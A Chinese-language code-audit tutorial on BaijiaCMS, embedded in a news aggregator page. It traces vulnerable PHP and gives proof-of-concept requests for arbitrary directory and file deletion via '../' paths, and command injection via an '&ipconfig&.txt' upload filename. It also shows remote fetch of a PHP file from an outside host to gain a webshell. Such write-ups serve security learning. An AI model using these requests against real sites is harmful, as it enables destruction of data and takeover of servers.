最新要闻
- 今日聚焦!锐龙7000无缘单条48GB DDR5内存!点亮后却无法启动
- 每日热门:卖断货!湖北最强汽车补贴火了 有人“从业十年没见过”
- 每日热门:4.5级后广东河源再次发生3.4级地震:官方科普地震来了怎么办
- 全球观察:全年出货量仅2.6亿 PC电脑透心凉:复苏要等Win12
- 全球通讯!ChatGPT版佛祖爆火出圈:施主、说出你的烦恼
- 全球速看:平板电脑怎么连接wifi
- 8元保号没了!中国移动广东出手:最便宜4G套餐撤掉 同步下架5G全家享套餐
- 319元 小米米家智能直流变频塔扇2上市:吹一夏天电费仅0.65元
- 快看点丨燃油、纯电、混动:买轻卡你会选择谁?
- 柳宗元最著名的十首诗是什么?柳宗元在柳州的故事
- 天天通讯!基德谈欧文末节独砍17分:这就是他 他喜欢帮助他的球队赢球
- 韩国西江大学留学条件和费用是什么?韩国西江大学怎么样?
- 代课老师的养老保险什么时候启动?代课教师养老保险政策有哪些?
- 焦点热门:可抵抖音干半年!TVB淘宝直播间首播销售额达2350万
- 全球看点:一年脱轨1000次!美国俄亥俄州再发生铁路事故 卡车撞上火车
- 满满正能量!小学生拾得价值16万黄金后续:物归原主、获助学礼包
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
热消息:代码审计之旅之百家CMS
前言
之前审计的CMS大多是利用工具,即Seay+昆仑镜
联动扫描出漏洞点,而后进行审计。感觉自己的能力仍与零无异,因此本次审计CMS绝大多数使用手动探测,即通过搜索危险函数的方式进行漏洞寻找,以此来提升审计能力,希望对正在学习代码审计的师傅能有所帮助。
(相关资料图)
环境搭建
源码链接如下所示https://gitee.com/openbaijia/baijiacms安装至本地后,我这里是phpstudy+win10
,所以直接解压到phpstudy
的www
目录下即可。
接下来去创建一个数据库用于存储CMS信息。(在Mysql命令行中执行)
接下来访问CMS,会默认跳转至安装界面。
数据库名称和账密注意一下就好,其他随便写。
而后安装成功,可以开始进行审计了。
审计
准备工作
我们拿到一套源码时,首先需要对具体文件夹进行一次分析,这样才能对CMS有一个初步的印象,为后续审计做一些铺垫。根目录如下所示:
其对应目录解释如下:
addons 插件api 接口assets 静态文件attachment 上传目录cache 缓存目录config 系统文件include 系统文件system 后端代码
针对system
目录,这个较为常用,我们可以对其进行进一步分析。
system 系统模块目录 ├─alipay 支付宝服务窗模块 ├─bonus 优惠券模块 ├─common 公共函数模板 ├─index 登录页 ├─member 会员模块 ├─modules 可再扩展模块和模块管理 ├─public 公共模块 ├─shop 后台商城模块 ├─shopwap 前台商城模块 ├─user 系统用户 └─weixin 微信模块
对这些有过了解后,还需要看的就是一些后端支撑文件,例如这种xxxinc.php
文件,他们常常存在一些漏洞,进而导致CMS出现漏洞。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
所以简单阅读一下这些也是有必要的。接下来准备工作做完,就开始下一步。
路由解析
对一个CMS进行漏洞探测前,我们需要首先需要对CMS的路由有所了解。这里我们直接访问默认页面baijiacms-master/index.php
,然后登录后台,这里说一下我自己认为找路由还可以的方法,就是关注一些特别点,好找一些,比如这里的修改密码界面。
我们点击它,发现此时的路由如下:
baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1
接下来我们在Vscode中进行全局搜索,搜password=
结果如下,可以发现它的路径。
baijiacms-master\system\manager\class\web\changepwd.php
再找到它的具体位置。
我们将它与之前看到的路由进行比对,就可以发现act
其实是system
文件夹下的文件夹名称,do
是所选择具体文件的名称,对这些有个初步的了解,待会找到文件时能在网页中访问即可。
漏洞查找
这里Seay+关键词搜索
的方式进行漏洞查找。
SQL注入
疑点一(失败)
发现有很多疑似注入点,从第一个开始跟进看。
文件路由/addons/activity/class/mobile/index.php
重点代码。
global $_W,$_GPC;$activityid = intval ( $_GPC ["activityid"] );$operation = !empty($_GPC["op"]) ? $_GPC["op"] : "display";$pagetitle = "活动报名入口";$activity = pdo_fetch ("SELECT * FROM " . table ("activity") . " WHERE uniacid = "{$_W["uniacid"]}" and id = " . $activityid );
可以看到uniacid
变量确实未被单引号包裹,可能存在注入,但我们这里注意到它是$_W["uniacid"]
,追溯$_W
,看到global $_W,$_GPC;
,这个是全局变量,所以我们直接在vscode中进行查找(ctrl+shift+f全局搜索)
发现$_GPC=$_GP
,所以我们只需要确定$_GP
,就
可以确定$_GPC
,接下来寻找$_GP
,最终在baijiacms.php
中发现此变量
这里的话可以看出是对所有方法请求的参数进行了一个stripslashes
函数处理,而后将参数进行了合并,合并后对数组内的参数依次进行遍历,进行htmlspecialchars
函数处理,而后将实体字符&
替换为&
。不过这个是$_GPC
的,但都是全局变量,$_W
应该也类似,接下来再跟着看一下,我们全局搜索$_W=
这里可以发现$W=$_CMS
,同时看出我们的$_W["uniacid"]=$_CMS["beid"]
,接下来搜索$_CMS["beid"]=
找到它等同于一个函数,即getDomainBeid
函数,所以接下来寻找getDomainBeid
函数。
function getDomainBeid(){ global $_GP; $system_store = mysqld_select("SELECT id,isclose FROM ".table("system_store")." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>"www.".WEB_WEBSITE)); if(empty($system_store["id"])) { if(!empty($_GP["beid"])) { $system_store = mysqld_select("SELECT id,isclose FROM ".table("system_store")." where `id`=:id and `deleted`=0",array(":id"=>$_GP["beid"])); if(empty($system_store["id"])) { message("未找到相关店铺"); } if(!empty($system_store["isclose"])) { message("店铺已关闭无法访问"); } return $system_store["id"]; }else { return ""; } }else { if(!empty($system_store["isclose"])) { message("店铺已关闭无法访问"); } return $system_store["id"]; }}
这里可以看出system_store
是由系统数据库中查出来的数据,这个对我们来说是不可控的,我们可控的是$_GP["beid"]
,此时看着一个SQL语句。
$system_store = mysqld_select("SELECT id,isclose FROM ".table("system_store")." where `id`=:id and `deleted`=0",array(":id"=>$_GP["beid"]));
如果我们的数据正常,他的结果应该是:
id isclosexx xxxxxxxxx xxxxxxx
而当我们输入beid
为xx and sleep(2)
这种,它毫无疑问是不会有查询结果的,这也就意味着$system_store["id"]
,而这个函数的最终结果是return $system_store["id"];
,那么此时它就会返回空值,那么回到这个SQL语句。
pdo_fetchall("select * from " . tablename("eshop_member") . " where isagent =1 and status=1 and uniacid = " . $_W["uniacid"] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . "," . $psize);
如果我们那里正常,想让返回的不为空值,那么这个$_W["uniacid"]
只能接收到正常的id,也就是数据库中存储着的id
值,所以这里是无法进行SQL注入的。
类似这个的还有如下文件:
文件名:system/eshop/core/mobile/commission/team.php部分PHP代码$list = pdo_fetchall("select * from " . tablename("eshop_member") . " where isagent =1 and status=1 and uniacid = " . $_W["uniacid"] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . "," . $psize); 文件名: /addons/activity/class/web/activity.php部分PHP代码:$activity = pdo_fetch ("SELECT * FROM " . table ("activity") . " WHERE uniacid = "{$_W["uniacid"]}" and id = " . $activityid );文件名:/addons/activity/class/mobile/join.php部分PHP代码:$row = pdo_fetch ("SELECT id FROM " . table ("activity") . " WHERE uniacid = "{$_W["uniacid"]}" and id = " . $activityid );文件名:/addons/activity/class/web/records.php部分PHP代码:$row = pdo_fetch("SELECT id,pic FROM " . table("activity_records") . " WHERE id = $id and uniacid = "{$_W["uniacid"]}"");文件名:/system/eshop/core/web/shop/dispatch.php部分PHP代码:$dispatch = pdo_fetch("SELECT id,dispatchname FROM " . tablename("eshop_dispatch") . " WHERE id = "$id" AND uniacid=" . $_W["uniacid"] . "");文件名: /system/eshop/core/web/virtual/category.php部分PHP代码:$list = pdo_fetchall("SELECT * FROM " . tablename("eshop_virtual_category") . " WHERE uniacid = "{$_W["uniacid"]}" ORDER BY id DESC");
疑点二(失败)
文件路径/system/common/model/virtual.php
这里发现参数id
,跟进id
变量,发现来源于
public function updateGoodsStock($id = 0) { global $_W, $_GPC; $goods = pdo_fetch("select virtual from " . tablename("eshop_goods") . " where id=:id and type=3 and uniacid=:uniacid limit 1", array( ":id" => $id, ":uniacid" => $_W["uniacid"] ));
发现这里的id是直接赋值为0的,我们是不可控的,所以不存在注入。
任意目录及文件删除
关于漏洞寻找,大多是从一些敏感函数入手,如果觉得Seay
扫描的不够全面,我们可自行查找,对于文件删除,我们这里首先想到的就是unlink
函数,所以我们这里打开Vscode
,ctrl+shift+f
全局搜索unlink
函数。
这里注意到有多个文件,js
及css
前端文件自不必看,我们这里要关注的是php
文件,接下来从第一个开始看。
疑点一
文件路由baijiacms-master\includes\baijiacms\common.inc.php
,涉及代码如下:
function rmdirs($path="",$isdir=false){ if(is_dir($path))//判定变量是否为目录 { $file_list= scandir($path); //查看路径下的文件 foreach ($file_list as $file)//依次遍历 { if( $file!="." && $file!="..")//如果不是.和.. { if($file!="qrcode") { rmdirs($path."/".$file,true);//删除目录下的文件 } } } if($path!=WEB_ROOT."/cache/")//如果变量名不是根目录拼接cache { @rmdir($path); //删除目录 } } else { @unlink($path); } }
可以看到当它判定变量为目录时,会对目录下的文件进行递归,而后删除一切文件,如果它不是目录,那么他此时就会直接删除这个文件。接下来有函数了,那我们就要看哪个文件利用了这个函数,然后来进行利用。所以接下来全局搜索函数
在文件baijiacms-master\system\manager\class\web\database.php
中发现如下代码:
if($operation=="delete") { $d = base64_decode($_GP["id"]); $path = WEB_ROOT . "/config/data_backup/";if(is_dir($path . $d)) {rmdirs($path . $d);message("备份删除成功!", create_url("site", array("act" => "manager","do" => "database","op"=>"restore")),"success");}}
可以发现这里对变量进行了base64_decode
处理,这下我们想删除的目录的话,我们首先需要对他进行一个base64编码,同时我们可以看到这里指定了路径。
$path = WEB_ROOT . "/config/data_backup/";
但这个我们其实是可以绕过的,后续只校验了是不是目录,而未限定目录,所以我们通过burpsuite抓包修改目录就可以实现任意目录删除。
接下来进行利用尝试首先我们在根目录下新建一个目录(名字随便,我这里为qwq)。
接下来访问这个数据库备份界面,具体路由如下:
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1
开启bp抓包,点击删除功能点。发送到重放包界面,修改id为Li4vLi4vcXdx
(../../qwq的Base64编码形式)
此时再回根目录查看。
疑点二
除了rmdir
和unlink
,我们常常还可以关注delete
函数,因为他直译过来也是删除的意思,所以接下来就全局进行搜索delete()
而后在includes\baijiacms\common.inc.php
中发现相关代码,具体代码如下:
function file_delete($file_relative_path) {if(empty($file_relative_path)) {return true;}$settings=globaSystemSetting();if(!empty($settings["system_isnetattach"])){if($settings["system_isnetattach"]==1){require_once(WEB_ROOT."/includes/lib/lib_ftp.php");$ftp=new baijiacms_ftp();if (true === $ftp->connect()) {if ($ftp->ftp_delete($settings["system_ftp_ftproot"]. $file_relative_path)) {return true;} else {return false;}} else {return false;}} if($settings["system_isnetattach"]==1){require_once(WEB_ROOT."/includes/lib/lib_oss.php");$oss=new baijiacms_oss();$oss->deletefile($file_relative_path);return true;}}else{if (is_file(SYSTEM_WEBROOT . "/attachment/" . $file_relative_path)) {unlink(SYSTEM_WEBROOT . "/attachment/" . $file_relative_path);return true;}}return true;}
这里重点关注这一个
if(!empty($settings["system_isnetattach"]))
当这个执行通过时,就不会去删除,反之,直接将文件删除,因此我们有必要去找一下这个是什么东西,照旧,全局搜索。
这里发现是远程附件,因此我们这里选择本地的话,按理说就可直达else
,对文件进行直接删除,访问具体路由。
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
接下来就设置好了,接下来去寻找运用了这个file_delete
函数的文件,全局搜索一下。
文件路由为system\eshop\core\mobile\util\uploader.php
,部分代码如下:
} elseif ($operation == "remove") { $file = $_GPC["file"]; file_delete($file); show_json(1);}
因此我们这里访问这个路由并设置operation
为remove
,按理说就可以直接删文件了,接下来尝试利用。
首先在根目录新建文件,这里命名为qwq.txt
接下来访问路由。
http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt
此时查看根目录。
文件已成功删除。
同时,我们刚刚还看到了不止这一个文件利用了delete
函数,另外的是否存在呢,我们来看一下文件路由system\eshop\core\web\shop\category.php
,具体代码:
elseif ($operation == "post") { ... ... ... if (!empty($id)) { unset($data["parentid"]); pdo_update("eshop_category", $data, array( "id" => $id )); file_delete($_GPC["thumb_old"]);
这里可以发现想删除文件,需要有三个条件:
1、$operation == "post"2、$id不为空3、$_GPC["thumb_old"]为具体文件名
所以我们按理说的话,我们去访问这个路由,然后修改$operation
为post
,添加参数$id=1
,同时附加参数$thumb_old
为想删除文件名即可实现删除文件,这个$operation
在前面可以看到其实是参数op
所以我们直接给op
赋值为post
,即可实现文件删除,接下来进行尝试。
在根目录新建文件qwq2.txt
接下来访问路由。
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt
此时即可实现删除文件。
命令执行
针对命令执行,我们关注的函数肯定是eval
、system
、exec
这几个,所以接下来就尝试去利用Vscode的全局搜索来寻找可疑点。首先搜索的是eval
找到的大多数是带有eval的关键词而非eval
函数,只有寥寥几个文件涉及了eval函数,接下来进行简单分析。
疑点一(失败)
文件路由baijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php
,部分代码如下:
function checkstatus(){$.get(" "dingtalk","do" => "fastlogin_pc","op"=>"dologincheck","skey"=>$showkey));?>", {}, function(data){var data= eval("(" + data + ")"); if(data.status==1) { location.href=" "dingtalk","do" => "fastlogin_pc","op"=>"tologin","skey"=>$showkey));?>"; } if(data.status==-1) { alert("登录失败!重新刷新二维码登录"); location.href=" "shopwap","do" => "login","op"=>"dingtalk"));?>"; }});}
这里的话可以看出是js类代码,简单分析一下这个函数,不难发现参数第一个是取对应的URL,第二个函数,也就是function(data)
,它是对从第一个URL中提取出的参数进行执行,这里我们接着看函数,它这里当执行过函数后,对结果的状态取值进行了判断,结果为1
时判断为登录成功,就会跳转至另一个界面,而当为-1
时就会登录失败,重回登录界面,所以我们这里可以看到他其实是不存在输出执行结果的地方的,所以我们根本无从下手,这里是无法实现命令执行的,所以Pass。
类似的文件还有如下几个,亦不必再看。
文件路由:baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php部分代码:function checkstatus(){$.get(" "weixin","do" => "fastlogin_pc","op"=>"dologincheck","skey"=>$showkey));?>", {}, function(data){var data= eval("(" + data + ")"); if(data.status==1) { location.href=" "weixin","do" => "fastlogin_pc","op"=>"tologin","skey"=>$showkey));?>"; } if(data.status==-1) { alert("登录失败!重新刷新二维码登录"); location.href=" "shopwap","do" => "login","op"=>"weixin"));?>"; }});} setInterval("checkstatus()",2000);文件路由:baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php部分代码:function checkstatus(){$.get(" "weixin","do" => "banding_pc","op"=>"dologincheck","skey"=>$showkey));?>", {}, function(data){var data= eval("(" + data + ")"); if(data.status==1) { location.href=" "shopwap","do" => "account"));?>"; } if(data.status==-1) { alert("登录失败!重新刷新二维码登录"); location.href=" "weixin","do" => "fastlogin","bizstate"=>"banding_weixin"));?>"; }});} setInterval("checkstatus()",2000);
疑点二
接下来我们关注system
函数,直接Vscode
全局搜。
最终在includes\baijiacms\common.inc.php
下找到system
函数,其中部分代码如下:
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true){ $settings=globaSystemSetting(); if(!file_move($file_tmp_name, $file_full_path)) { return error(-1, "保存上传文件失败"); } if(!empty($settings["image_compress_openscale"])) { $scal=$settings["image_compress_scale"]; $quality_command=""; if(intval($scal)>0) { $quality_command=" -quality ".intval($scal); } system("convert".$quality_command." ".$file_full_path." ".$file_full_path); } ... .... .....
这里可以看到是保存文件的,在其中进行了一个判断是否上传成功的,这个自不必在意,这里我们看另一个:
if(!empty($settings["image_compress_openscale"]))
这个是什么意思呢,我们这里可以看出如果这个判断可以通过,而后就会对文件名和文件路径进行一个system
执行,那我们就有可能实现命令执行,因此我们的首要任务就是找到这个是什么东西,所以接下来全局搜索image_compress_openscale
此时就找到了,它就是图片压缩功能
,所以我们直接去开启这个功能,这里这个if判断就可以通过啦,所以接下来首先去开启这个,访问路由如下:
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
接下来我们跟进看一下哪个文件利用了这个函数,毕竟找到文件才能利用。
可以发现这里的话对此函数进行了一个利用,具体代码如下:
$extention = pathinfo($file["name"], PATHINFO_EXTENSION); $extention=strtolower($extention); if($extention=="txt") { $substr=substr($_SERVER["PHP_SELF"], 0, strrpos($_SERVER["PHP_SELF"], "/")); if(empty( $substr)) { $substr="/"; } $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/"; //file_save($file["tmp_name"],$file["name"],$extention,$verify_root.$file["name"],$verify_root.$file["name"],false); file_save($file["tmp_name"],$file["name"],$extention,WEB_ROOT."/".$file["name"],WEB_ROOT."/".$file["name"],false); if($verify_root!=WEB_ROOT."/") { copy(WEB_ROOT."/".$file["name"],$verify_root."/".$file["name"]); } $cfg["weixin_hasverify"]=$file["name"]; }
这里的话是对上传文件进行了pathinfo
函数处理,其实也就是获取了拓展名(后缀名),当为txt
后缀时,会继续往下进行,继而调用这个file_save
函数,所以我们这里的思路就明了了,我们这里新建一个文件,命名为xxx命令.txt
,此时按理说就可以达到一个命令执行的效果,接下来进行尝试。
我们这里新建一个txt文件,命名为&ipconfig&.txt
接下来对其进行上传,具体路由
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1
接下来保存便可以看到效果。
任意文件读取
疑点一(失败)
文件路由/system/eshop/core/mobile/shop/util.php
,重要代码如下:
} else if ($operation == "areas") { require_once WEB_ROOT . "/includes/lib/json/xml2json.php"; $file = ESHOP_AREA_XMLFILE; $content = file_get_contents($file); $json = xml2json::transformXmlStringToJson($content); $areas = json_decode($json, true); die(json_encode($areas));
其他暂且不看,我们这里先看这两个:
$file = ESHOP_AREA_XMLFILE;$content = file_get_contents($file);
本来直接包含$file
的话,确实是可能存在文件读取,但我们这里可以看到它这里是给$file
直接赋值了,这个是什么呢,我们全局搜索一下可以发现是一个xml
文件。
那么它对我们来说是不可控的,所以这里就不存在文件读取了,因此这里属于误报,看下一处。
所以类似这种的可疑点不必再关注,这里简单列出几个:
文件名:/system/eshop/core/web/sale/enough.php部分代码:$content = file_get_contents($file);文件名:/system/eshop/core/web/shop/dispatch.php部分代码:$content = file_get_contents($file);
文件上传
疑点一
文件上传,这里Seay并未扫到什么,所以我们手动来进行寻找,对于文件上传,最先想到的就是上传二字,对应英文为upload
,所以直接Vscode
全局搜索upload()
文件路由为includes\baijiacms\common.inc.php
,具体代码如下:
function file_upload($file, $type = "image") { if(empty($file)) { return error(-1, "没有上传内容"); } $limit=5000; $extention = pathinfo($file["name"], PATHINFO_EXTENSION); $extention=strtolower($extention); if(empty($type)||$type=="image") { $extentions=array("gif", "jpg", "jpeg", "png"); } if($type=="music") { $extentions=array("mp3","wma","wav","amr","mp4"); } if($type=="other") { $extentions=array("gif", "jpg", "jpeg", "png","mp3","wma","wav","amr","mp4","doc"); } ... ...}
这里可以看到这个是进行了很多检测的,对文件类型进行了检测,且要求了后缀,所以这个函数应该是文件上传不了了,但还好它不止一个有关upload
的函数,我们往下看到这样一个函数:
function fetch_net_file_upload($url) { $url = trim($url); $extention = pathinfo($url,PATHINFO_EXTENSION ); $path = "/attachment/"; $extpath="{$extention}/" . date("Y/m/"); mkdirs(WEB_ROOT . $path . $extpath); do { $filename = random(15) . ".{$extention}"; } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename)); $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename; $file_relative_path = $extpath. $filename; if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) { $result["message"] = "提取失败."; return $result; } $file_full_path = WEB_ROOT .$path . $extpath. $filename; return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);}
可以发现这个只对文件进行了pathinfo
函数处理,取出其后缀名,然后拼接路径及随机数字来组成文件名,那么我们如果通过这个函数进行文件上传,按理说就可以上传php文件实现getshell,接下来看看哪个文件利用了此函数。
文件路由system\public\class\web\file.php
,具体代码:
if ($do == "fetch") { $url = trim($_GPC["url"]);$file=fetch_net_file_upload($url); if (is_error($file)) { $result["message"] = $file["message"]; die(json_encode($result)); } }
接下来我们只需要满足do=fetch
,然后url
中包含我们的文件,便可实现文件上传,我这里远程文件内容如下:
接下来进行利用尝试。访问路由如下:
http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php
访问给出的文件路径。
可以发现此时已经实现了文件上传,如果传一句话木马即可Getshell。
后言
本次CMS审计是小白的第一次大幅度利用手动搜索危险函数来寻找漏洞,共计耗时半周,对本小白来说已颇为吃力,其中颇多审计失败的点,虽审计失败,但仍感觉对代码能力有了进一步了解,也算有所收获。最后,如果文章中有错误,还望各位大师傅多多指正。
更多靶场实验练习、网安学习资料,请点击这里>>
关键词:
热消息:代码审计之旅之百家CMS
环球头条:Paxos算法理解与java实现
环球消息!5、Redis慢日志和key有效期
今日聚焦!锐龙7000无缘单条48GB DDR5内存!点亮后却无法启动
每日热门:卖断货!湖北最强汽车补贴火了 有人“从业十年没见过”
每日热门:4.5级后广东河源再次发生3.4级地震:官方科普地震来了怎么办
全球观察:全年出货量仅2.6亿 PC电脑透心凉:复苏要等Win12
全球通讯!ChatGPT版佛祖爆火出圈:施主、说出你的烦恼
GO语言学习笔记-数据篇 Study for Go ! Chapter four - Data
全球速读:Go 数据结构
精彩看点:如何搞定MySQL锁(全局锁、表级锁、行级锁)?这篇文章告诉你答案!太TMD详细了!!!
最新资讯:vue组件更新引起组件更新的原因,如何引发组件的更新
播报:【JavaScript UI库和框架】上海道宁与Webix为您提供用于跨平台Web应用程序开发的JS框架及UI小部件
全球速看:平板电脑怎么连接wifi
8元保号没了!中国移动广东出手:最便宜4G套餐撤掉 同步下架5G全家享套餐
319元 小米米家智能直流变频塔扇2上市:吹一夏天电费仅0.65元
快看点丨燃油、纯电、混动:买轻卡你会选择谁?
柳宗元最著名的十首诗是什么?柳宗元在柳州的故事
天天通讯!基德谈欧文末节独砍17分:这就是他 他喜欢帮助他的球队赢球
天天微速讯:3张思维导图读懂 《钢铁是怎样炼成的》
VUE定时器任务(每天12点执行)
信息:mysql invalid conn排查
全球观速讯丨CNStack 多集群服务:基于 OCM 打造完善的集群管理能力
即时看!关于docker中-容器的管理操作-删除
韩国西江大学留学条件和费用是什么?韩国西江大学怎么样?
代课老师的养老保险什么时候启动?代课教师养老保险政策有哪些?
焦点热门:可抵抖音干半年!TVB淘宝直播间首播销售额达2350万
全球看点:一年脱轨1000次!美国俄亥俄州再发生铁路事故 卡车撞上火车
满满正能量!小学生拾得价值16万黄金后续:物归原主、获助学礼包
向残疾熊猫福菀泼水3游客身份未确定:初步断定为3女娃
一键开盖 耐热抗摔:哈尔斯Tritan材质单手开盖水杯15.9元发车
光棍节的由来和含义是什么?光棍节活动策划书
办公室副主任是什么级别?办公室副主任年度述职报告
手机厂商钟情的黄色配色 原来诺基亚十年前就有了
大小仅3.7GB:大佬基于Win10魔改经典WinXP系统
每日快报!为眼睛降低ISO感光度!万新偏光太阳镜大促:39.4到手 原价139元
焦点速递!跑车底盘+大电池!开了两天哪吒S 想把我的油车卖了
行走的27寸超大平板!小度推出添添闺蜜机 首发4999元
win7电脑怎么开启telnet命令?telnet命令的作用是什么?
暖暖环游世界怎么看收集度?暖暖环游世界兑换码2023
Win10系统怎么安装杜比音效驱动?杜比音效和普通音效有什么区别
中兴天机7哪个版本音质最好?中兴天机7手机参数
iphone怎么设置勿扰模式?iphone灵动岛怎么养宠物?
Liunx Vim常用命令
天天看点:C++笔记--控制语句
Windows 11提示“无法枚举容器中的对象。”
环球速读:A股异动 | 上海电影涨7% 拟收购上影元文化51%股权 拓展IP运营业务
视讯!国产CPU龙芯3A6000上半年流片明年出货 已评估7nm工艺
泰国电动车市场被国产车包了!2月销量哪吒、比亚迪双霸榜
5499元 华硕无畏15i轻薄本开卖:12核i5、2.8K 120Hz OLED好屏
不得杀疯了?曝比亚迪海鸥4月上市:仅6.58万起
世界快消息!苹果等级森严:标准版iPhone 15将不支持全天候显示功能
【世界速看料】无穷大符号
Spring Boot + MybatisX = 王炸!!
每日消息!(数据库系统概论|王珊)第十章数据库恢复技术:习题
焦点速读:前端设计模式——发布订阅模式
微资讯!《寂静岭2:重制版》新版护士形象曝光!身材依旧火辣
今热点:苹果、谷歌抢市场 Windows份额创美国史低:绝对垄断没了
NVIDIA紧急推送531.26修复补丁:解决N卡CPU占用异常问题
2月销量3863台 长安马自达CX-50本月下线:还能救市吗?
24岁高颜值女孩回应大学毕业养猪:父母支持 年薪10万
世界热讯:一次惨痛教训让我写了个Windows定期备份文件脚本
天天微速讯:模块简介、模块的两种导入语句、导入文件的补充、判断文件类型、模块的查找顺序
全球热点!自动化离线交付在云原生的应用和思考
今日要闻!Python常见面试题009. 元组和列表有什么区别
每日速递:地图标准先行 自动驾驶识途
大疆发布Ronin 4D Flex分体拓展系统:手持重量仅1/3 实现运镜自由
环球速看:你真离不开苹果!全球最畅销手机Top 10:iPhone无敌 安卓阵营被摩擦
全球热讯:落后中国几十年!H3运载火箭发射失败自毁 日本首相社交平台谢罪
环球新消息丨妇女节快乐!《中国妇女报》:妇女节不是什么女神节 不放假有加班费吗?
当前消息!12万就有自动上电 埃安AION Y Younger上市:续航430km
世界看热讯:江苏一男子醉驾用脚刹车 竟然“刹”住了
世界速读:苹果推出黄色款iPhone 14:对比小米13飓风黄 哪个好看?
15万特斯拉要来了!马斯克自曝新车:成本降50% 自动驾驶
成人教育大专
焦点短讯!读Java性能权威指南(第2版)笔记10_原生内存
我国多地取消中考男女生长跑 800米对健康不利:教育部喊话不得停止体育教学
强烈建议收藏,python库大全
js数据类型判断、unll和undefined
全球通讯!女足来了!FIFA23将加入15个女足联赛
李杰:一加最擅长做旗舰 同等价格段我们能提供最优秀产品
景区回应瀑布源头是水管放水:看破不说破 不要在意细节
全球速递!《阿凡达2》宣布3月28日上线数字平台:收录3小时额外内容
在网上口述一生:86岁老奶奶成了年轻人的“偶像”
世界速读:埃及出土古罗马时期笑脸迷你版狮身人面像:脸颊还有酒窝
“90后”小伙画下长江泸州段!目标是画遍中国
全球热推荐:那年夏天 电影
第126篇: 异步函数(async和await)
环球速讯:思科防火墙5506-x基础
男子疑因抽烟错过高铁不停拍车门 网友:怨不得别人
热点!40岁985硕士求职被怼不招大妈 求职者:感觉是歧视
【LeetCode回溯算法#01】图解组合问题
报道:效仿微软XGP:Meta为Quest准备订阅制服务
每日短讯:健身猪一只最高能卖8万元:看完再也不配说胖得像猪了
环球百事通!联想小新Pro 16 2023酷睿独显版预售:7299元起 可选RTX4050
环球即时看!年度优秀员工评语简短(年度优秀员工评语)
[NOIP2017 普及组] 棋盘
AspNet Core MVC项目接入AdminLTE
世界动态:京东百亿补贴大杀器亮剑后 尚“无人伤亡”
奥斯卡影帝陨落“烂片之王” 凯奇:不愿加入漫威宇宙